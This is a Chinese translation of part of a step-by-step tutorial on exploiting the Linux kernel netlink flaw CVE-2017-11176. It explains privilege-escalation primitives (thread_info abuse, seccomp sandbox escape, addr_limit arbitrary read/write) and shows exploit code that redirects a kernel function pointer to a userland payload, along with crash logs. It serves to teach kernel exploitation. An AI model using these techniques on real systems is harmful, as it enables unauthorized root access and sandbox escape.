CVE-2017-11176: A step-by-step Linux Kernel exploitation (part 3/4)
本文的原文地址:https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part4.html
介绍
在最后的这个部分中,我们将会把任意调用转换成在ring0权限下的任意代码执行,修复内核拿到root凭证。他会涉及到很多x86-64位操作系统相关的东西。
首先,核心观念这一节主要关注其他的关键内核结构(thread_info)和他怎么在exp的角度上被利用(retrieve current检索信息,escape seccomp-based sandbox沙箱逃逸,gain arbitrary read/write获取任意读或写)。接下来,我们将会看到虚拟内存布局,内核线程栈和他们是怎么联系到thread_info。然后我们将会看到linux怎么通过netlink来使用哈希表。这将会帮助我们修复内核。
ps:netlink是linux内核和用户进程的进程见通信机制,即一种特殊的套接字。详见https://www.cnblogs.com/wenqiang/p/6306727.html
第二,我们将会尽力去直接调用一个用户空间的payload然后看我们怎么被硬件保护措施堵塞的(SMEP),我们将会对缺页异常追踪进行广泛的学习,从而得到有用的信息然后用各种方法让SMEP保护措施失效。
第三,我们将会从一个内核镜像中提取出gadgets,解释为什么我们需要去限制.text节的搜索。有了这个gadget,我们将会做一个stack pivot(堆栈翻转),看看怎么去处理混淆问题。在gadget的宽松约束下,我们将会完成一个rop-chain链来让SMEP保护瘫痪,恢复栈指针和栈的框架,并且在一个干净的状态下跳转到用户代码。
第四,我们将会做一个内核修复。修复一个socket的悬空指针很容易,但是修复netlink的哈希表是有一点复杂的。因为bucket lists(愿望清单?)不是环状的,我们在在分配的时候丢失了一些组成部分的追踪。我们将会使用一个小技巧和一个信息来泄露并且修复他们。
最后,我们将会做一个短短的学习一下关于exp的可靠性(他在可能失败),创建一张不同阶段exp的危险图。然后,我们看怎么去正确的拿到root权限。
目录
1. 核心内容
2. 介绍SMEP(Supervisor Mode Execution Prevention)
3. 绕过SMEP的方法
4. 找到gadgets
5. stack pivoting(栈翻转)
6. 用gdb调试内核
7. rop-chain
8. 修复内核
9. 可靠度
10. 获取root权限
11. 结论
12. 进一步学习
1.核心内容
WARNING:这里的大量的概念介绍保留了过时的信息,因为2016年的一个大改革。举个例子,一些thread_info的字段已经被移动到thread_struct(嵌入在task_struct)。然而,了解他过去是什么对你了解他现在是什么有帮助。同时,很多系统跑在旧的内核版本上(< 4.8.x)。
首先,我们看看关键的thread_info的结构,然后看看他是怎么在一次利用的情景中被滥用的(retrieving current,沙箱逃逸,任意读或者写)。
接下来,我们将会看虚拟内存表在x86-64位环境下是怎么组织的。尤其我们将会看为什么地址转换会被限制在48位(而不是64位)即一个“规范”地址意味着什么。
然后,我们将会关注内核的线程栈。解释他们什么时候在哪创建和他们有什么。
最后,我们将会关注netlink的哈希表数据结构和相关算法。了解他们将会帮助修补内核和提高exp的可靠性。
1-1 thread_info 数据结构
就像是task_struct,这个struct thread_info数据结构是非常重要的一点,如果要利用内核中的bug。
这个结构取决于框架。在x86-64下,定义如下:
// [arch/x86/include/asm/thread_info.h]
struct thread_info {
struct task_struct *task;
struct exec_domain *exec_domain;
__u32 flags;
__u32 status;
__u32 cpu;
int preempt_count;
mm_segment_t addr_limit;
struct restart_block restart_block;
void __user *sysenter_return;
#ifdef CONFIG_X86_32
unsigned long previous_esp;
__u8 supervisor_stack[0];
#endif
int uaccess_err;
};
最重要的字段是:
- task:指向task_struct,链接thread_info(参见下一节)
- flags:持有像_TIF_NEED_RESCHED 或者 _TIF_SECCOMP的标志(参见逃离Seccomp-Based沙盒)
- addr_limit:内核角度下最高的用户空间虚拟地址。使用于“软件保护机制”(参见获取任意读/写)
让我们看我们怎么在漏洞利用中用这些字段。
1-1-1 使用内核线程栈指针
一般的,如果你得到获取一个task_struct指针的机会,你可以通过解引用指针来检索其他很多内核结构。举个例子,在内核修复中,我们将会在我们的例子中用他去找到一个文件描述符表的地址。
当一个task字段指针指向相关的task_struct数据结构,检索current(在part1的核心内容中)是一件简单的事:
#define get_current() (current_thread_info()->task)
ps:current宏,是一个全局指针,指向当前进程的struct task_struct结构体,即表示当前进程。
这个问题是:怎么去获得现在的thread_info地址?
假设你有一个内核中的线程栈指针,你可以检索现在的thread_info指针通过:
#define THREAD_SIZE (PAGE_SIZE << 2)
#define current_thread_info(ptr) (_ptr & ~(THREAD_SIZE - 1))
struct thread_info *ti = current_thread_info(leaky_stack_ptr);
原因是thread_info是存活在内核线程栈内部(看“内核栈”节)。
在另一方面,如果你有一个指针指向一个task_struct,你可以通过task_struct的stack段搜索确定的thread_info位置。
ps:task_struct的结构:
// [include/linux/sched.h]
struct task_struct {
volatile long state; // process state (running, stopped, ...)
void *stack; // task's stack pointer
int prio; // process priority
struct mm_struct *mm; // memory address space
struct files_struct *files; // open file information
const struct cred *cred; // credentials
// ...
};
即,如果你有这些指针的一个,你就能查询其他数据结构:
注意task_struct的stack段不指向内核栈的顶部,而是指向thread_info。
1-1-2 逃离Seccomp-Based沙箱
ps:seccomp简单来说就是限制进程的系统调用的,见https://www.jianshu.com/p/adb0350557dc
像沙箱一样的容器被应用在现在看起来越来越广泛。使用一个内核exp有时候是唯一的(或者一个最简单的)方法去确实的逃离他们。
linux内核的seccomp是一个设施,用来限定问题限制访问syscall。syscall可以被全部禁止(调用是不可能的)或者部分静止(参数被过滤)。他被设置使用BPF规则(一个在内核编译的程序)被叫做seccomp filters。
一旦启动,seccomp filters会不能被“通常”的命令行禁止。API强制执行他,因为没有针对他的syscall。
当一个程序使用了seccomp下进行一次syscall,内核会检查是否thread_info的flag有一个_TIF_WORK_SYSCALL_ENTRY的flag设置(TIF_SECCOMP是其中的一个)。如果是,他就根据syscall_trace_enter() 的路径。最初,这个函数secure_computing()是被这么调用:
long syscall_trace_enter(struct pt_regs *regs)
{
long ret = 0;
if (test_thread_flag(TIF_SINGLESTEP))
regs->flags |= X86_EFLAGS_TF;
/* do the secure computing check first */
secure_computing(regs->orig_ax); // <----- "rax" holds the syscall number
// ...
}
static inline void secure_computing(int this_syscall)
{
if (unlikely(test_thread_flag(TIF_SECCOMP))) // <----- check the flag again
__secure_computing(this_syscall);
}
我们不将解释seccomp过去这一点发生了什么。长话短说,如果syscall是被禁止的,一个中止进程信号将会被交付给失败进程。
重要的事情在于:清算TIF_SECCOMP flag 在当前的运行线程(thread_info)是“足够”去关闭seccomp 检擦的。
WARNING:这只是对当前的线程是正确的,forking/execve的操作会把seccomp检查开起来。
1-1-3 获得任意读/写
现在让我们检查thread_info的addr_limit段。
如果你看到不同的操作系统调用执行,你将会看到大多数都调用了copy_from_user()在把用户空间数据拷贝到内核空间中的开始时。这么做失败了会导致time-of-check,time-of-use的bugs(在用户空间被检查前改变了用户空间的值)。
用非常相似的方法,调用代码必须调用copy_to_user()去把结果从内核拷贝回用户空间。
long copy_from_user(void *to, const void __user * from, unsigned long n);
long copy_to_user(void __user *to, const void *from, unsigned long n);
NOTE: __user宏没有做任何事,这仅仅是一个给内核开发者的提示,即这个数据事一个指向用户空间的指针。另外,一些工具像sparse可以利用他获取一些好东西。
copy_from_user() 和 copy_to_user()是与操作系统体系结构相关的函数。在x86-64的架构,他们是在arch/x86/lib/copy_user_64.S实现的。
NOTE:如果你不喜欢读汇编代码,这儿有一个通用的架构可以在
include/asm-generic/*被找到,他能帮助你去识别哪一个依赖构架函数是可以被使用的。
通用架构代码(不是x86-64)copy_from_user()看上去像这个:
// from [include/asm-generic/uaccess.h]
static inline long copy_from_user(void *to,
const void __user * from, unsigned long n)
{
might_sleep();
if (access_ok(VERIFY_READ, from, n))
return __copy_from_user(to, from, n);
else
return n;
}
执行软件访问权限在access_ok()被检查,当 __copy_from_user()无条件拷贝n个字节从from到to。用另外一种说话就是,如果你看到一个__copy_from_user() 的参数没被检查,这是一个严重的安全性漏洞。让我们返回x86-64构架。
在执行真正的拷贝前,被标记位_user的参数会被和当前thread_info的addr_limit值对照。如果范围(from+n)是低于addr_limit,拷贝完成,不然copy_from_user()返回一个non-null值提示出错。
addr_limit的值是被set_fs() 和 get_fs() 宏分别设置和恢复的:
#define get_fs() (current_thread_info()->addr_limit)
#define set_fs(x) (current_thread_info()->addr_limit = (x))
举个例子放你用一个execve()的syscall时,内核想去找一个合适的“二进制加载器”。加入这个二进制文件是一个elf文件,load_elf_binary()函数被执行,并且在调用start_thread()函数时结束:
// from [arch/x86/kernel/process_64.c]
void start_thread(struct pt_regs *regs, unsigned long new_ip, unsigned long new_sp)
{
loadsegment(fs, 0);
loadsegment(es, 0);
loadsegment(ds, 0);
load_gs_index(0);
regs->ip = new_ip;
regs->sp = new_sp;
percpu_write(old_rsp, new_sp);
regs->cs = __USER_CS;
regs->ss = __USER_DS;
regs->flags = 0x200;
set_fs(USER_DS); // <-----
/*
* Free the old FP and other extended state
*/
free_thread_xstate(current);
}
start_thread()函数重置当前的thread_info的addr_limit值为USER_DS,这是被定义好的。
#define MAKE_MM_SEG(s) ((mm_segment_t) { (s) })
#define TASK_SIZE_MAX ((1UL << 47) - PAGE_SIZE)
#define USER_DS MAKE_MM_SEG(TASK_SIZE_MAX)
即,如果用户空间地址是低于0x7ffffffff000那就是正确的(在32位下常常是0xc0000000)。
ps:1左移47位,就是0x1000000000000,减去0x1000(页大小),就是0x7ffffffff000。
就像你可能早就猜测的那样,重写addr_limit的值导致任意读或者写操作。理想上,我们想要的东西是:
#define KERNEL_DS MAKE_MM_SEG(-1UL) // <----- 0xffffffffffffffff
set_fs(KERNEL_DS);
如果我们实现这个,我们禁用软件保护机制。又一次,只有软件本身了!硬件保护措施仍然在,直接从用户空间进入内核空间将会触发缺页中断,会杀死你的exp(SIGSEGV段错误),因为正在运行的等级仍然是CPL=3(看"page fault"节)。
ps:SIGSEGV是当一个进程执行了一个无效的内存引用,或发生段错误时发送给它的信号。
因此,我们想要从用户空间读或者写内核内存,我们真的可以告诉内核去做通过系统调用copy_{to|from}_user()函数,如果可以提供一个内核指针是"__user"的标记参数。
1-1-4 thread_info的最后笔记
就像你可能通过三个这儿展示的例子注意到的,thread_info 数据结构通常是极其重要的在开发场景中。我们展示了:
- 我们可以检索一个指向当前task_struct 的指针来泄露内核线程栈指针(因此有很多内核数据结构)。
- 通过重写flag段,我们可以禁用seccomp 保护甚至沙箱逃逸。
- 我们可以取得一个人任意读/写通过改变addr_limit节的值。
这仅仅是你可以用thread_info做的事情的一个例子。这是一个小但是关键的结构。
1-2 虚拟地址表
在先前的节中,我们看到“最高”的虚拟用户空间地址是:
#define TASK_SIZE_MAX ((1UL << 47) - PAGE_SIZE) // == 0x00007ffffffff000
有人可能想知道“47”是怎么来的?
在早期的amd64位构架中,设计师认为2^64的内存不知道为啥检索太大了,强迫加入了另一种页表等级(性能损失)。因为这个原因,他被确定只有低48位的地址可以从虚拟地址转化为物理地址。
无论如何,如果用户空间在0x0000000000000000 和0x00007ffffffff000之间,那么内核地址呢?答案是0xffff800000000000 到 0xffffffffffffffff。
即,48到63位是:
- 清空所有用户地址
- 设置所有内核地址
具体来说,AMD强制要求[48:63]是和47位是一样。否则,会抛出一个错误。关于这个地址的习俗叫做规范型地址(canonical form addresses)。在这个规范下,他仍然有256TB的内存(一半给用户,一半给内核)。
在0x00007ffffffff000 和 0xffff800000000000之间的空间是未使用内存地址unused memory addresses(也叫做non-canonical addresses)。即64位下的虚拟内存地址布局流程:
上述的图是一个大概的图。你可以在linux内核文档中获得更准确的图:Documentation/x86/x86_64/mm.txt。
NOTE:guard hole部分的地址空间会在一些系统管理程序上被需要(例如Xen)
在最后,当你看到一个地址开始于“0xffff8*”或者更高,你应该明白是内核地址。
1-3 内核线程栈
在linux(x86-64位架构下),这人有两种内核栈:
线程栈:16k-bit 栈,用于每一个活动线程
专用栈:一组位于每个cpu的特殊操作栈
你可能想要去读linux内核文档为了附加/互补的信息:Documentation/x86/x86_64/kernel-stacks。
首先,让我们描述一下线程栈。当一个新的线程被创建(注:一个新的task_struct),内核用copy_process()做了一个“fork-like”操作。后者分配一个新的task_struct(记住,每个线程都有一个task_struct),把大部分父母进程的task_struct拷贝到了新的。
无论如何,取决于怎么创建task,一些资源会被共享或者复制(注:内存在一个多线程程序中是被共享的。libc的数据会被复制)。在下面的例子中,如果线程修改一些数据,那么一个新的独立版本会被创建:这被叫做copy-on-write(注:他只影响当前的线程导入libc,不会影每一个线程)。
换句话说,一个进程不会从头开始创建,往往是从父母进程的拷贝开始的(在init里)。不同的地方后面会说到。
此外,还有一些线程的特定数据,其中一个是内核线程栈。在整一个创建和复制进程的过程中,dup_task_struct()很早就被调用:
static struct task_struct *dup_task_struct(struct task_struct *orig)
{
struct task_struct *tsk;
struct thread_info *ti;
unsigned long *stackend;
int node = tsk_fork_get_node(orig);
int err;
prepare_to_copy(orig);
[0] tsk = alloc_task_struct_node(node);
if (!tsk)
return NULL;
[1] ti = alloc_thread_info_node(tsk, node);
if (!ti) {
free_task_struct(tsk);
return NULL;
}
[2] err = arch_dup_task_struct(tsk, orig);
if (err)
goto out;
[3] tsk->stack = ti;
// ... cut ...
[4] setup_thread_stack(tsk, orig);
// ... cut ...
}
#define THREAD_ORDER 2
#define alloc_thread_info_node(tsk, node) \
({ \
struct page *page = alloc_pages_node(node, THREAD_FLAGS, \
THREAD_ORDER); \
struct thread_info *ret = page ? page_address(page) : NULL; \
\
ret; \
})
上面的代码做了这么些事:
[0]:用Slab分配器分配一个新的struct task_struct
[1]:用伙伴分配器分配一个新的线程栈
[2]:把orig(初始的?) task_struct拷贝到一个tsk task_struct(不同下面会谈到)
[3]:改变task_struct的stack参数指向ti,新的线程现在又他的专有线程栈和他自己的thread_info
[4]:把orig’s(初始的??) thread_info的内容拷贝到新的tsk’s thread_info,修复task字段
在[1]可能有一点迷惑。宏alloc_thread_info_node()是应该申请一个struct thread_info,然而他申请了一个线程栈。原因是thread_info在线程栈中:
#define THREAD_SIZE (PAGE_SIZE << THREAD_ORDER)
union thread_union { // <----- this is an "union"
struct thread_info thread_info;
unsigned long stack[THREAD_SIZE/sizeof(long)]; // <----- 16k-bytes
};
除了init程序,thread_union不再被使用(再x86-64位下)但是布局仍然一样:
NOTE:KERNEL_STACK_OFFSET存在优化问题(再一些情况下避免子操作)。你这儿可以忽视他。
STACK_END_MAGIC为了减轻内核线程栈溢出。在很早之前就解释过,重写thread_info的数据可以导致可怕的事情(在restart_block 段中,他也有函数指针)。
因为thread_info是在这个区间的最高点,希望你现在理解为什么,通过屏蔽掉THREAD_SIZE,你可以从任何内核线程栈指针中检索thread_info的地址
在上面的图中,你可能会注意到kernel_stack 指针。这是一个每个cpu都有一个的变量。申明在这里:
// [arch/x86/kernel/cpu/common.c]
DEFINE_PER_CPU(unsigned long, kernel_stack) =
(unsigned long)&init_thread_union - KERNEL_STACK_OFFSET + THREAD_SIZE;
最开始,kernel_stack指向init线程栈(注:init_thread_union)。无论如何,在内容转换时,每一个cpu变量会更新:
#define task_stack_page(task) ((task)->stack)
__switch_to(struct task_struct *prev_p, struct task_struct *next_p)
{
// ... cut ..
percpu_write(kernel_stack,
(unsigned long)task_stack_page(next_p) +
THREAD_SIZE - KERNEL_STACK_OFFSET);
// ... cut ..
}
最后,现在的thread_info被重置为:
static inline struct thread_info *current_thread_info(void)
{
struct thread_info *ti;
ti = (void *)(percpu_read_stable(kernel_stack) +
KERNEL_STACK_OFFSET - THREAD_SIZE);
return ti;
}
kernel_stack指针在进入系统调用的时候被使用。他替换了当前用户空间rsp,在系统调用结束后,还原用户空间rsp。
1-4 理解Netlink数据结构
让我们近距离接触一下Netlink数据结构。这将会帮助我们理解我们要修复的悬空指针在哪里,是什么。
Netlink有一个全局数组nl_table,类型为netlink_table:
// [net/netlink/af_netlink.c]
struct netlink_table {
struct nl_pid_hash hash; // <----- we will focus on this
struct hlist_head mc_list;
unsigned long *listeners;
unsigned int nl_nonroot;
unsigned int groups;
struct mutex *cb_mutex;
struct module *module;
int registered;
};
static struct netlink_table *nl_table; // <----- the "global" array
nl_table数组会在开机时被netlink_proto_init()初始化:
// [include/linux/netlink.h]
#define NETLINK_ROUTE 0 /* Routing/device hook */
#define NETLINK_UNUSED 1 /* Unused number */
#define NETLINK_USERSOCK 2 /* Reserved for user mode socket protocols */
// ... cut ...
#define MAX_LINKS 32
// [net/netlink/af_netlink.c]
static int __init netlink_proto_init(void)
{
// ... cut ...
nl_table = kcalloc(MAX_LINKS, sizeof(*nl_table), GFP_KERNEL);
// ... cut ...
}
换句话说,每一个协议一个netlink_table(NETLINK_USERSOCK时其中一个)。此外,每个netlink tables嵌入一个数据类型为nl_pid_hash的hash段:
// [net/netlink/af_netlink.c]
struct nl_pid_hash {
struct hlist_head *table;
unsigned long rehash_time;
unsigned int mask;
unsigned int shift;
unsigned int entries;
unsigned int max_shift;
u32 rnd;
};
这个结构是用来操作netlink哈希表。这意味着要用以下字段:
- table:一个struct hlist_head的数组,真正的哈希表
- reshash_time:减少每一段时间“稀释(dilution)”的次数。??
- mask: buckets 的数量(减一),屏蔽哈希函数的结果
- shift::一些位数的order,用来计算元素的平均数量(负载因子)。顺便表示表已增长时间。
- entries:哈希表中的元素总数量。
- max_shift: 一些位数的order。表最大的增长时间,即buckets的最大数量。
- rnd: 哈希函数使用的一个随机数字
在回到netlink的hash表执行,我们先看看哈希表API在linux中的概述。
1-5 linux哈希表API
哈希表本身是被其他典型的linux数据结构操控的:struct hlist_head和struct hlist_node。不像struct list_head(part3的核心概念中)用相同类型表现列表头和元素,哈希列表使用两种类型在这儿定义:
// [include/linux/list.h]
/*
* Double linked lists with a single pointer list head.
* Mostly useful for hash tables where the two pointer list head is
* too wasteful.
* You lose the ability to access the tail in O(1). // <----- this
*/
struct hlist_head {
struct hlist_node *first;
};
struct hlist_node {
struct hlist_node *next, **pprev; // <----- note the "pprev" type (pointer of pointer)
};
所以哈希表是由一个或者多个bucket组成。每个元素子在一个给定的bucket里,一个不循环的双向列表。他意味着:
- bucket中的最后一个元素指向null。
- 在bucket列表中的第一个元素的pprev指针指向hlist头的第一个指针。(因此是指针中的指针)
ps:这个pprev指向的是上一个节点的next指针,主要目的是因为第一个元素的pprev指向的是hlist_head的first指针,后面所有的都是为了统一,这也是为什么pprev是二级指针。
bucket 本身表示一个有指针的hlist_head。换句话说,我们不能
直接从bucket的头访问到尾。我们需要走完整个表(注:评论)
在最后,一个典型的哈希表就是这个样子的:
你可能想要去检查FAQ(常见问题说明),去找到一个使用说明(就像我们在part3的list_head做的一样)。
1-6 Netlink哈希表初始化
让我们回到netlink的哈希表初始化代码,着将会在两部分说明。
首先,一个order的值是基于全局变量totalram_pages 计算得出的。后者是在系统启动时计算的,正如其名称建议,(大概)表示RAM中可用的页数。举个例子,在512MB的操作系统中,max_shift将会是像16(注:每个哈希表有65k个bucket)
第二,一个清晰的哈希表会为了每个netlink 协议被创建:
static int __init netlink_proto_init(void)
{
// ... cut ...
for (i = 0; i < MAX_LINKS; i++) {
struct nl_pid_hash *hash = &nl_table[i].hash;
[0] hash->table = nl_pid_hash_zalloc(1 * sizeof(*hash->table));
if (!hash->table) {
// ... cut (free everything and panic!) ...
}
hash->max_shift = order;
hash->shift = 0;
[1] hash->mask = 0;
hash->rehash_time = jiffies;
}
// ... cut ...
}
在[0],哈希表是被一个简单的bucket所分配。因此mask会被设置为0在[1](bucket的数量减一)。记住, hash->table字段是一个struct hlist_head的数组,每一个都指向一个bucket列表头。
1-7 基础的哈希表插入
好的,现在我们知道netlink哈希表最初的状态(只有一个bucket),让我们学习插入算法,开始在netlink_insert()。在这一节中,我么将会只思考最基础的例子。(注:抛弃“稀释”机制)
netlink_insert()的目的是是使用参数提供的pid,插入一个sock的hlist_node到一个哈希表。每个pid只能在哈希表中出现一次。
首先,让我们学习最开始的netlink_insert()代码:
static int netlink_insert(struct sock *sk, struct net *net, u32 pid)
{
[0] struct nl_pid_hash *hash = &nl_table[sk->sk_protocol].hash;
struct hlist_head *head;
int err = -EADDRINUSE;
struct sock *osk;
struct hlist_node *node;
int len;
[1a] netlink_table_grab();
[2] head = nl_pid_hashfn(hash, pid);
len = 0;
[3] sk_for_each(osk, node, head) {
[4] if (net_eq(sock_net(osk), net) && (nlk_sk(osk)->pid == pid))
break;
len++;
}
[5] if (node)
goto err;
// ... cut ...
err:
[1b] netlink_table_ungrab();
return err;
}
上面的代码做了:
- [0]:为相应的协议(NETLINK_USERSOCK)检索nl_pid_hash(哈希表)。
- [1a]:用锁保护所有对netlink哈希表访问。
- [2]:用pid参数作为哈希函数标识来检索一个指向bucket的指针(hlist_head)。
- [3]:遍历bucket的双向链表
- [4]:检查pid的冲突
- [5]:如果pid被bucket列表中发现了(node不为空),跳转到err。他将会返回一个 -EADDRINUSE错误。
- [1b]:释放netlink哈希表锁。
除了[2],都是很直接的:发现恰当的bucket然后扫描他来检查是否pid不存在。
接下来是一串完整性检查:
err = -EBUSY;
[6] if (nlk_sk(sk)->pid)
goto err;
err = -ENOMEM;
[7] if (BITS_PER_LONG > 32 && unlikely(hash->entries >= UINT_MAX))
goto err;
在[6],netlink_insert() 代码保证sock被插入到了没有pid设置的哈希表中。换句话说,他检查了他还没有被插入哈希表。[7]处的检查是一个硬性限制。一个Netlink哈希比爱不能有超过4Giga的内容(还是很多)。
最后:
[8] if (len && nl_pid_hash_dilute(hash, len))
[9] head = nl_pid_hashfn(hash, pid);
[10] hash->entries++;
[11] nlk_sk(sk)->pid = pid;
[12] sk_add_node(sk, head);
[13] err = 0;
这个做了:
- [8]:如果现在的bucket有至少一个内容,调用nl_pid_hash_dilute()
- [9]:如果哈希表被稀释了,找到新的bucket指针(hlist_head)
- [10]:增加哈希表的内容总数
- [11]:设置sock的pid字段
- [12]:增加sock的hlist_node到双向bucket链表
- [13]:netlink_insert()就重新设置err
在继续前前,让我们看几件事,如果我们展开sk_add_node(),我们看到下面:
- 他在sock上做了一个参考(增加计数)
- 调用hlist_add_head(&sk->sk_node, list)
换句话说,当一个sock被插入到一个哈希表中,他经常插入在bucket的头。我们后面将会使用这个特性,记在心里。
最后,我么看一下哈希函数:
static struct hlist_head *nl_pid_hashfn(struct nl_pid_hash *hash, u32 pid)
{
return &hash->table[jhash_1word(pid, hash->rnd) & hash->mask];
}
预料之中,这个函数仅仅是计算在hash->table 数组中bucket的标识,这个标识被哈希的mask字段包装了,返回了代表bucket的 hlist_head指针。
哈希函数本身是jhash_1word()即linux执行的 Jenkins hash function。不需要了解他的执行过程,但是注意他使用两个key(pid and hash->rnd),假定这是不可逆的。
有人可能注意到没有“稀释”操作,哈希表实际上不会扩展。因为他是用一个bucket初始化的,内容被很容易的存储在一个双向链表。。。哈希表在这里相当的没用。
1-8 Netlink哈希表“Dilution(稀释)”机制
如上所诉,如果len不为0(注:bucket不是空的),netlink_insert()的最后会调用了nl_pid_hash_dilute()。如果“稀释”成功,他会找到一个新的bucket去增加sock元素(哈希表被“再散列”):
if (len && nl_pid_hash_dilute(hash, len))
head = nl_pid_hashfn(hash, pid);
让我们来检查一下执行的步骤:
static inline int nl_pid_hash_dilute(struct nl_pid_hash *hash, int len)
{
[0] int avg = hash->entries >> hash->shift;
[1] if (unlikely(avg > 1) && nl_pid_hash_rehash(hash, 1))
return 1;
[2] if (unlikely(len > avg) && time_after(jiffies, hash->rehash_time)) {
nl_pid_hash_rehash(hash, 0);
return 1;
}
[3] return 0;
}
根本上说,这个函数再尝试做:
- 他确保有足够的bucket在哈希表中,去减少冲突,另一方面尝试增长哈希表。
- 他确保所有的bucket平衡。
就像我们将会在下一节中看到的一样,当哈希表“增长”,bucket的数量会翻倍。也正因如此,[0]的意思相当于:
avg = nb_elements / (2^(shift)) <===> avg = nb_elements / nb_buckets
他计算出哈希表的负载因子。
[1]中的检查在每个bucket的平均元素大于等于2时为真。换句话说,哈希表每个bucket基本上有两个元素。如果有第三个元素要被增加,哈希表会扩展,然后通过再“再散列”稀释。
在[2]中的检查是和[1]有一点相同的,不同在于哈希表没有扩展。由于len大于avg,而且avg是大于一的,当加入第三个元素到一个bucket里时,整个哈希被再次稀释和“再散列”。另一方面,如果表大部分是空的话(avg等于0),尝试向一个非空的bucket加入元素会引起“稀释”。由于这个操作的代价很高,而且可能再特定情况下的每一次操作都出现(哈希表不能增长了),他受限于rehash_time。
NOTE:jiffies 是一个时间的量度,看Kernel Timer Systems(参考链接)。
在最后,netlink在哈希表中存储元素是一个平均1:2的映射。唯一的例外是当哈希表不能扩展时。在这种情况下,比例慢慢变成1:3,1:4的映射。注意,到达这个情况,这儿至少有超过128k的netlink sockets。从攻击者的角度来看,机会是,在你检索到这个点之前,你将会受限于打开文件描述符的数量。
1-9 Netlink“再散列”
为了去完成我们对netlink哈希表插入的理解,让我们快速回顾nl_pid_hash_rehash():
static int nl_pid_hash_rehash(struct nl_pid_hash *hash, int grow)
{
unsigned int omask, mask, shift;
size_t osize, size;
struct hlist_head *otable, *table;
int i;
omask = mask = hash->mask;
osize = size = (mask + 1) * sizeof(*table);
shift = hash->shift;
if (grow) {
if (++shift > hash->max_shift)
return 0;
mask = mask * 2 + 1;
size *= 2;
}
table = nl_pid_hash_zalloc(size);
if (!table)
return 0;
otable = hash->table;
hash->table = table;
hash->mask = mask;
hash->shift = shift;
get_random_bytes(&hash->rnd, sizeof(hash->rnd));
for (i = 0; i <= omask; i++) {
struct sock *sk;
struct hlist_node *node, *tmp;
sk_for_each_safe(sk, node, tmp, &otable[i])
__sk_add_node(sk, nl_pid_hashfn(hash, nlk_sk(sk)->pid));
}
nl_pid_hash_free(otable, osize);
hash->rehash_time = jiffies + 10 * 60 * HZ;
return 1;
}
这个函数:
- 基于grow参数计算出一个新的size和mark。bucket的数量翻倍在每一次增长操作时。
- 申请一个新的hlist_head数组(新的buckets)
- 更新哈希表中rnd的值。他意味整个哈希表现在坏了,因为哈希函数不将会允许检索之前的数据。
- 遍历之前的buckets,把所有元素用新的哈希函数插入到新的buckets中。
- 释放之前的bucket数组,更新rehash_time。
由于哈希函数被改变了,这也是为什么新的bucket在插入元素前,稀释之后被重新计算(netlink_insert())。
1-10 Netlink哈希表总结
让我们来看一下至今为止,我们对netlink哈希表了解什么:
- netlink每个协议都有一个哈希表
- 每一个哈希表开始都有一个单一的bucket
- 每个bucket平均有两个元素
- 表会在可能出现每个bucket(可能)超过两个元素的情况下增长。
- 每次一个哈希表增长,是以bucket乘以2的速度增长的。
- 当一个元素插入到一个bucket会出现不平衡的情况,就会出现“稀释”。
- 元素总是从bucket的头部插入的
- 当一次稀释发生时,哈希函数就改变了。
- 哈希函数使用一个用户提供的pid和一个不可控的键值。
- 哈希函数被设定为不可逆的,所以我们无法控制元素必须插入某一个bucket。
- 任何的哈希表操作都被一个全局锁保护(netlink_table_grab() 和 netlink_table_ungrab())。
还有一些关于移除元素(查看netlink_remove())
- 哈希表被扩展后,不可缩小。
- 移除操作不会触发稀释
好了!我们准备好去继续和回到我们的exp!
2.介绍SMEP(Supervisor Mode Execution Prevention)
在之前的文章中,我们修改了poc去借用类型混淆来利用UAF[1]。随着再分配,我们制造了一个“假的”netlnk socket等待队列,指向一个用户空间的元素[2]。
然后,setsockopt()的系统调用[3a]遍历我们的用户空间等待队列,调用func函数指针[3b],即现在的panic()。这给我们一个好的调用追踪实现一个任意调用。
这个调用路径基本上是这样的:
[ 213.352742] Freeing alive netlink socket ffff88001bddb400
[ 218.355229] Kernel panic - not syncing: ^A
[ 218.355434] Pid: 2443, comm: exploit Not tainted 2.6.32
[ 218.355583] Call Trace:
[ 218.355689] [<ffffffff8155372b>] ? panic+0xa7/0x179
[ 218.355927] [<ffffffff810665b3>] ? __wake_up+0x53/0x70
[ 218.356045] [<ffffffff81061909>] ? __wake_up_common+0x59/0x90
[ 218.356156] [<ffffffff810665a8>] ? __wake_up+0x48/0x70
[ 218.356310] [<ffffffff814b81cc>] ? netlink_setsockopt+0x13c/0x1c0
[ 218.356460] [<ffffffff81475a2f>] ? sys_setsockopt+0x6f/0xc0
[ 218.356622] [<ffffffff8100b1a2>] ? system_call_fastpath+0x16/0x1b
就像我们看到的,在 __wake_up_common()中,panic()是确实的被 curr->func()函数指针调用了。
NOTE:第二次调用__wake_up()没有发生。这表明了panic()的参数有点问题。
2-1 返回用户空间(第一次尝试)
好的,现在让我们尝试去返回到用户空间(有时被叫做ret-to-user)。
有些人可能要问了,为什么要返回用户空间?除非你的内核是backdoored,不然很少可以找到一个单一的函数去直接提升你的权限。注:我们想要去执行我们选择的任意代码。因此我们需要一个任意调用操作。让我们写我们的payload然后跳过去。
让我们修改exp,然后创造一个payload()函数依次调用panic()(为了测试准备)。记得去改变func函数的指针值:
static int payload(void);
static int init_realloc_data(void)
{
// ... cut ...
// initialise the userland wait queue element
BUILD_BUG_ON(offsetof(struct wait_queue, func) != WQ_ELMT_FUNC_OFFSET);
BUILD_BUG_ON(offsetof(struct wait_queue, task_list) != WQ_ELMT_TASK_LIST_OFFSET);
g_uland_wq_elt.flags = WQ_FLAG_EXCLUSIVE; // set to exit after the first arbitrary call
g_uland_wq_elt.private = NULL; // unused
g_uland_wq_elt.func = (wait_queue_func_t) &payload; // <----- userland addr instead of PANIC_ADDR
g_uland_wq_elt.task_list.next = (struct list_head*)&g_fake_next_elt;
g_uland_wq_elt.task_list.prev = (struct list_head*)&g_fake_next_elt;
printf("[+] g_uland_wq_elt addr = %p\n", &g_uland_wq_elt);
printf("[+] g_uland_wq_elt.func = %p\n", g_uland_wq_elt.func);
return 0;
}
typedef void (*panic)(const char *fmt, ...);
// The following code is executed in Kernel Mode.
static int payload(void)
{
((panic)(PANIC_ADDR))(""); // called from kernel land
// need to be different than zero to exit list_for_each_entry_safe() loop
return 555;
}
之前的图变成了:
尝试启动他,然后。。。
[ 124.962677] BUG: unable to handle kernel paging request at 00000000004014c4
[ 124.962923] IP: [<00000000004014c4>] 0x4014c4
[ 124.963039] PGD 1e3df067 PUD 1abb6067 PMD 1b1e6067 PTE 111e3025
